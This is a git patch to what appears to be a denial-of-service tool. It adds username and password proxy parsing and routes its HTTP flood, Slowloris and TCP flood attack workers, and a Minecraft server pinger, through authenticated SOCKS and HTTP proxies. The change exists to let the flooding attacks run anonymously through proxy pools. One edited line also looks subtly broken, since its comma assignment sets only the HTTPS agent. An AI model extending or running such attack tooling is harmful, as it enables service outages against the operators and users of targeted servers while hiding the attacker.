From 155d2a680685e40a8c592e8e7d4d6f6c2dd6ab96 Mon Sep 17 00:00:00 2001 From: "Roman U. (DesConnet)" Date: Thu, 23 Jan 2025 20:37:25 +0700 Subject: [PATCH] feature: add support proxies with authentication --- server/fileLoader.ts | 20 +++++++++++++++++--- server/lib.ts | 2 ++ server/utils/mcUtils.js | 4 ++-- server/workers/httpFloodAttack.js | 11 +++++++++-- server/workers/httpSlowlorisAttack.js | 2 +- server/workers/tcpFloodAttack.js | 2 +- src/App.tsx | 2 +- 7 files changed, 33 insertions(+), 10 deletions(-) diff --git a/server/fileLoader.ts b/server/fileLoader.ts index c232d95..9021adc 100644 --- a/server/fileLoader.ts +++ b/server/fileLoader.ts @@ -28,9 +28,23 @@ export function loadUserAgents() { export function loadProxies(): Proxy[] { const lines = loadFileLines(join(currentPath(), "data/proxies.txt")); + + //RegEx for proxies with authentication (protocol://user:pass@host:port) + const authProxiesRegEx = new RegExp(/^(http|https|socks4|socks5|):\/\/(\S+:\S+)@((\w+|\d+\.\d+\.\d+\.\d+):\d+)$/, 'g'); + return lines.map((line) => { - const [protocol, addr] = line.split("://"); - const [host, port] = addr.split(":"); - return { protocol, host, port: parseInt(port) }; + const [protocol, loginInfo] = line.split("://"); + + if (authProxiesRegEx.test(line)) { + const [auth, addr] = loginInfo.split("@"); + const [user, pass] = auth.split(":"); + const [host, port] = addr.split(":"); + + return { protocol, host, port: parseInt(port), username: user, password: pass }; + } else { + const [host, port] = loginInfo.split(":"); + + return { protocol, host, port: parseInt(port) }; + } }); } diff --git a/server/lib.ts b/server/lib.ts index 0b451ee..e69b7dd 100644 --- a/server/lib.ts +++ b/server/lib.ts @@ -1,6 +1,8 @@ export type ProxyProtocol = "http" | "https" | "socks4" | "socks5" | string; export interface Proxy { + username?: string; + password?: string; protocol: ProxyProtocol; host: string; port: number; diff --git a/server/utils/mcUtils.js b/server/utils/mcUtils.js index 2ac3fb8..ee4d8a5 100644 --- a/server/utils/mcUtils.js +++ b/server/utils/mcUtils.js @@ -87,10 +87,10 @@ class MinecraftBufferReader { export function pingMinecraftServer(host, port, proxy) { return new Promise((resolve, reject) => { - const { protocol, host: proxyHost, port: proxyPort } = proxy; + const { protocol, host: proxyHost, port: proxyPort, username: proxyUsername, password: proxyPassword } = proxy; const agent = new SocksProxyAgent( - `${protocol}://${proxyHost}:${proxyPort}` + `${protocol}://${proxyUsername && proxyPassword ? `${proxyUsername}:${proxyPassword}@` : ""}${proxyHost}:${proxyPort}` ); const socket = net.createConnection({ diff --git a/server/workers/httpFloodAttack.js b/server/workers/httpFloodAttack.js index f6cae4a..f19e7d0 100644 --- a/server/workers/httpFloodAttack.js +++ b/server/workers/httpFloodAttack.js @@ -27,9 +27,16 @@ const startAttack = () => { host: proxy.host, port: proxy.port, }; + + if (proxy.username && proxy.password) { + config.proxy.auth = { + username: proxy.username, + password: proxy.password, + } + } } else if (proxy.protocol === "socks4" || proxy.protocol === "socks5") { - config.httpAgent = new SocksProxyAgent( - `${proxy.protocol}://${proxy.host}:${proxy.port}` + config.httpAgent, config.httpsAgent = new SocksProxyAgent( + `${proxy.protocol}://${proxy.username && proxy.password ? `${proxy.username}:${proxy.password}@` : ""}${proxy.host}:${proxy.port}` ); } diff --git a/server/workers/httpSlowlorisAttack.js b/server/workers/httpSlowlorisAttack.js index 66da29e..2cdae58 100644 --- a/server/workers/httpSlowlorisAttack.js +++ b/server/workers/httpSlowlorisAttack.js @@ -31,7 +31,7 @@ const startAttack = () => { Host: targetHost, }, agent: new SocksProxyAgent( - `${proxy.protocol}://${proxy.host}:${proxy.port}` + `${proxy.protocol}://${proxy.username && proxy.password ? `${proxy.username}:${proxy.password}@` : ""}${proxy.host}:${proxy.port}` ), }; diff --git a/server/workers/tcpFloodAttack.js b/server/workers/tcpFloodAttack.js index 8aca913..d358635 100644 --- a/server/workers/tcpFloodAttack.js +++ b/server/workers/tcpFloodAttack.js @@ -20,7 +20,7 @@ const startAttack = () => { socket.setTimeout(2000); const proxyAgent = new SocksProxyAgent( - `${proxy.protocol}://${proxy.host}:${proxy.port}` + `${proxy.protocol}://${proxy.username && proxy.password ? `${proxy.username}:${proxy.password}@` : ""}${proxy.host}:${proxy.port}` ); setInterval(() => { diff --git a/src/App.tsx b/src/App.tsx index ac6134d..4f41cc7 100644 --- a/src/App.tsx +++ b/src/App.tsx @@ -69,7 +69,7 @@ function ConfigureProxiesAndAgentsView() { onChange={(e) => setConfiguration([e.target.value, configuration[1]]) } - placeholder="socks5://0.0.0.0" + placeholder="socks5://0.0.0.0 socks4://user:pass@0.0.0.0:12345" >

uas.txt